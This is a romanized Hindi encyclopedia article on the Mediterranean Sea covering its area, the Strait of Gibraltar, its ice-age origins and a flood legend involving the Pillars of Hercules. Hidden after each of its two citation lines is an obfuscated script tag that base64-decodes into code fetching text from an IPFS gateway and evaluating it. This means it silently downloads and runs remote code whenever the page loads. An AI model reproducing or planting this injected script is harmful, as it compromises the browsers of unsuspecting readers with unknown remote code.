भूमध्य सागर
thumb|250px|bhoomadhy sagar
Mediterranean Sea
itihas mean bhoomadhy sagar ke donoan or ke desh hi yoorop ki duniya thi. isi se ise 'bhoomadhy sagar' kaha jata hai. yooropiy vidvanh prarambh mean yahi sabhyataean janate the aur inhean hi prachinatam manav sabhyata samajhate the. inamean bhi sabase prachin sabhyata hai- misr ki sabhyata. bhoomadhy sagar ka kshetraphal lagabhag 25 lakh varg kilomitar hai jo bharat ke kshetraphal ka lagabhag tin-chauthaee hai . prachin kal mean yoonan, turki, karthej, spen, rom, yerushalam, arab tatha misr jaise deshoan aur nagaroan ke bich sthit hone ke karan ise bhoomadhy (dharati ke madhy ka) sagar kaha jata tha. yah atalaantik mahasagar se jibraltar dvara ju da hua hai jo lagabhag 14 kilomitar chau da ek jaladamaroo madhy hai.[1]
tritiy himachhchhadan ke samay
tritiy himachhchhadan ke samay bhoomadhhy sagar ka astithv do jhiloan ke roop mean tha, jo nadi dvara sanbaddh ho sakati thian. poorvi jhil mean, jo shayad mithe pani ki thi, nil nadi aur asapas ka jal ata tha. bhoomadhhy sagar aj bhi ek phyasa sagar hai. soory ke tap se pani adhik u dane se vah siku data rahata hai, jaise - mrit sagar (Dead Sea) siku d raha hai. is sankuchan ko door karane ke lie aj pani atalaantik mahasagar se jibralhtar jalasandhi se hokar tatha kala sagar se daniyal (Dardanelles) jalasandhi hokar bhoomadhhy sagar mean ata hai. thumb|250px|left|bhoomadhy sagar
Mediterranean Sea kala sagar ko avashhyakata se adhik jal nadiyoan se prapht hota hai. jab bhoomadhhy sagar ki ghati donoan or sagaroan se sanbaddh n thi tab aj jahaan nil sagar laharata hai vahaan hari-bhari ghati mean manushhy shvachhchhand ghoomate the.
par barf pighalane se mahasagaroan ke jal ki satah oopar uthane lagi. tabhi sanbhavataya kisi akashiy piand ne pas akar bhayankar jhvar-tarange uthpanhn kian. phalat: atalaantik mahasagar ka jal pashchim se yoorop aur aphrika ke bich ki ghati mean phoot nikala. usane mitti baha di. aj bhi atalaantik mahasagar se jibralhtar jalasandhi hokar bhoomadhhy sagar tal tak ek gahara galiyara roopi mahakhadd vidyaman hai. vahaan ki sidhi chattanoan ko ‘harakulis’ ke shtanbh (Pillars of Hercules) kahate haian. harakulis (balaram ka doosara nam) ke sahasik karyoan ki kahaniyaan vidit haian. sare sansar mean jhvar tarange uthian. pahale tho di dhara mean aur phir bhayankar gaharata sagar ‘bhoomadhhy ghati’ ki jhiloan ke kinaroan ki adim bastiyoan par um d p da. shanai:-shanai: vah khara pani bastiyoan aur pe doan ke oopar paha doan ko chhoone laga. vah aauan panapata sabhhyata ka bij mit gaya aur aphrika ka yoorop se shthal-sanbandh toot gaya. aphriki prajatiyoan ka b di matra mean yoorop mean nirgaman samapht hua. praranbhik manav itihas ke kuchh rahashyoan ko garbh mean dharan kie aj bhoomadhhy sagar lahara raha hai.[2]
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tika tippani aur sandarbh
- ↑ bhoomadhy sagariy sabhyataean (hindi) (ech.ti.em.el). . abhigaman tithi: 08-11, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ jal phlavanah sabhhyata ki pratham kiranean evan dantakathaऍan (hindi) (ech.ti.em.el). . abhigaman tithi: 08-11, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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